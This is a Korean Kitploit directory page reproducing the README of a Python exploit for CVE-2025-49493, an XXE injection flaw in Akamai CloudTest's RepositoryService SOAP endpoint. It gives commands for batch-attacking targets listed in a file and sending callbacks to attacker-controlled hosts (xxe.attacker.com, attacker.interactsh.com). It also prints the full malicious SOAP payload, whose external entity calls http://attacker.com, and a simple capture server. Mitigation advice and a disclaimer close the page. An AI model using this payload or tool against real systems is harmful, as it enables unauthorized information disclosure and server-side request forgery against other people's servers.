Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-49493 — 이는 CVE-2025-49493을 위한 Python 기반 익스플로잇으로, Akamai CloudTest 60 2025.06.02(12988) 이전 버전에 영향을 미칩니다. 이 취약점은 SOAP 서비스 엔드포인트를 통한 XML External Entity(XXE) 주입을 허용합니다. | Kitploit
도구/GitHubGitHub/sh4den/cve-2025-49493
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubsh4den/cve-2025-49493

CVE-2025-49493

이는 CVE-2025-49493을 위한 Python 기반 익스플로잇으로, Akamai CloudTest 60 2025.06.02(12988) 이전 버전에 영향을 미칩니다. 이 취약점은 SOAP 서비스 엔드포인트를 통한 XML External Entity(XXE) 주입을 허용합니다.

저장소 보기
122개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Akamai CloudTest XXE 익스플로잇 (CVE-2025-49493)

개요

이것은 Akamai CloudTest 60 2025.06.02 (12988) 이전 버전에 영향을 주는 CVE-2025-49493을 위한 Python 기반 익스플로잇입니다. 이 취약점은 SOAP 서비스 엔드포인트를 통한 XML 외부 엔티티(XXE) 주입을 허용합니다.

취약점 세부 정보

  • CVE ID: CVE-2025-49493
  • 취약점 유형: XML 외부 엔티티(XXE) 주입
  • 심각도: 치명적(CVSS 9.1)
  • 영향받는 소프트웨어: Akamai CloudTest
  • 영향받는 버전: 60 2025.06.02 (12988) 이전
  • 공격 경로: 네트워크
  • 인증 필요 여부: 아니요

기술 세부 정보

이 취약점은 /concerto/services/RepositoryService SOAP 엔드포인트에 존재하며, 이 곳에서 XML 입력이 외부 엔티티에 대한 적절한 검증 없이 처리됩니다. 공격자는 악의적인 XML 페이로드를 구성하여 XXE 공격을 유발할 수 있으며, 이로 인해 다음이 발생할 수 있습니다:

  • 정보 공개
  • SSRF(서버 사이드 요청 위조)
  • 서비스 거부(DoS)
  • 특정 구성에서의 잠재적 RCE

기능

  • 대상 탐지: Akamai CloudTest 인스턴스를 자동으로 식별합니다
  • 취약점 탐지: 취약한 엔드포인트와 지표를 확인합니다
  • XXE 익스플로잇: XXE 페이로드가 포함된 조작된 SOAP 요청을 전송합니다
  • 다중 대상: 대상 파일에서 일괄 처리를 지원합니다
  • 상세 로깅: 타임스탬프가 포함된 포괄적인 컬러 로깅
  • 오류 처리: 네트워크 문제에 대한 견고한 오류 처리

설치

사전 요구 사항

  • Python 3.6 이상
  • pip 패키지 관리자

의존성

필요한 패키지 설치:

root@kitploit:~
pip install -r requirements.txt

또는 수동 설치:

root@kitploit:~
pip install requests urllib3 colored pyfiglet

사용법

기본 사용법

root@kitploit:~
python main.py targets.txt xxe.attacker.com

고급 사용법

root@kitploit:~
# With custom timeout
python main.py targets.txt collaborator.burp.com --timeout 20

# Using interactsh for OOB detection
python main.py targets.txt attacker.interactsh.com

명령줄 옵션

root@kitploit:~
positional arguments:
  targets              Target file containing list of Akamai CloudTest hosts
  xxe_server          XXE server to capture requests (e.g., attacker.com or IP)

optional arguments:
  -h, --help          show this help message and exit
  --timeout TIMEOUT   Request timeout in seconds (default: 10)

대상 파일 형식

한 줄에 대상 하나씩 targets.txt 파일을 생성하세요:

root@kitploit:~
https://example-cloudtest.akamai.com
https://demo-cloudtest.example.com
https://test-cloudtest.internal.company.com
https://cloudtest.example.org

XXE 서버 설정

옵션 1: Burp Collaborator 사용

  1. Burp Suite Professional을 엽니다
  2. Burp > Burp Collaborator 클라이언트로 이동합니다
  3. "Copy to clipboard"를 클릭하여 Collaborator URL을 복사합니다
  4. 이 URL을 xxe_server 매개변수로 사용합니다

옵션 2: Interactsh 사용

  1. interactsh 설치: go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
  2. 실행: interactsh-client
  3. 제공된 URL을 xxe_server 매개변수로 사용합니다

옵션 3: 사용자 정의 HTTP 서버

요청을 캡처할 간단한 HTTP 서버를 설정합니다:

root@kitploit:~
# simple_server.py
import http.server
import socketserver

class RequestHandler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        print(f"XXE Request received: {self.path}")
        print(f"Headers: {self.headers}")
        super().do_GET()

with socketserver.TCPServer(("", 8000), RequestHandler) as httpd:
    print("Server running on port 8000")
    httpd.serve_forever()

익스플로잇 흐름

  1. 대상 검증: URL 형식과 접근 가능성을 검증합니다
  2. 취약점 탐지:
    • 응답에서 CloudTest 지표를 확인합니다
    • SOAP 서비스 엔드포인트가 존재하는지 확인합니다
  3. XXE 페이로드 생성: XXE가 포함된 악성 SOAP 봉투를 생성합니다
  4. 익스플로잇 수행: 조작된 요청을 취약한 엔드포인트에 전송합니다
  5. 결과 분석: 성공 지표에 대한 응답을 분석합니다

XXE 페이로드 구조

이 익스플로잇은 다음 XXE 페이로드 구조를 사용합니다:

root@kitploit:~
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE soapenv:Envelope [
  <!ENTITY xxe SYSTEM "http://attacker.com">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
                  xmlns:rep="http://example.com/services/repository">
   <soapenv:Header/>
   <soapenv:Body>
      <rep:getUIBundleObjectXml>
         <rep:uiBundleRequestXml>&xxe;</rep:uiBundleRequestXml>
      </rep:getUIBundleObjectXml>
   </soapenv:Body>
</soapenv:Envelope>

완화 방법

관리자를 위한

  1. 즉시 조치:

    • Akamai CloudTest를 버전 60 2025.06.02 이상으로 업데이트하세요
    • 의심스러운 XML 처리 활동이 있는지 로그를 모니터링하세요
    • 노출을 제한하기 위해 네트워크 분할을 구현하세요
  2. 장기적 해결 방안:

    • XML 파서에서 XML 외부 엔티티 처리를 비활성화하세요
    • 입력 검증 및 삭제를 구현하세요
    • XML 처리를 위해 허용 목록을 사용하세요
    • 정기적인 보안 평가 실시

개발자를 위한

  1. 안전한 XML 처리:

    root@kitploit:~
    # Disable external entities in XML parsers
    import xml.etree.ElementTree as ET
    parser = ET.XMLParser()
    parser.parser.DefaultHandler = lambda data: None
    parser.parser.ExternalEntityRefHandler = lambda *args: False
    
  2. 입력 검증:

    • 모든 XML 입력을 엄격한 스키마에 대해 검증하세요
    • XML 처리 전에 사용자 제어 데이터를 삭제하세요
    • 적절한 오류 처리를 구현하세요

참조

  • xbow의 원본 연구
  • Akamai CloudTest 변경 로그
  • CVE-2025-49493 세부 정보
  • OWASP XXE 예방

법적 고지

이 도구는 교육 및 공인된 테스트 목적으로만 제공됩니다. 사용자는 시스템을 테스트하기 전에 적절한 권한이 있는지 확인할 책임이 있습니다. 저자는 이 도구의 오용 또는 이로 인한 손해에 대해 책임을 지지 않습니다.

기여

  1. 저장소를 포크하세요
  2. 기능 브랜치를 생성하세요
  3. 변경 사항을 적용하세요
  4. 해당되는 경우 테스트를 추가하세요
  5. 풀 리퀘스트를 제출하세요

라이선스

이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.

작성자

  • 원본 연구: xbow, 3th1c_yuk1
  • 익스플로잇 개발: 보안 연구 팀
  • CVE 지정: CVE-2025-49493

변경 로그

v1.0.0

  • 최초 릴리스
  • 기본 XXE 익스플로잇 기능
  • 대상 파일 지원
  • 포괄적인 로깅
  • 오류 처리 개선
도구 다운로드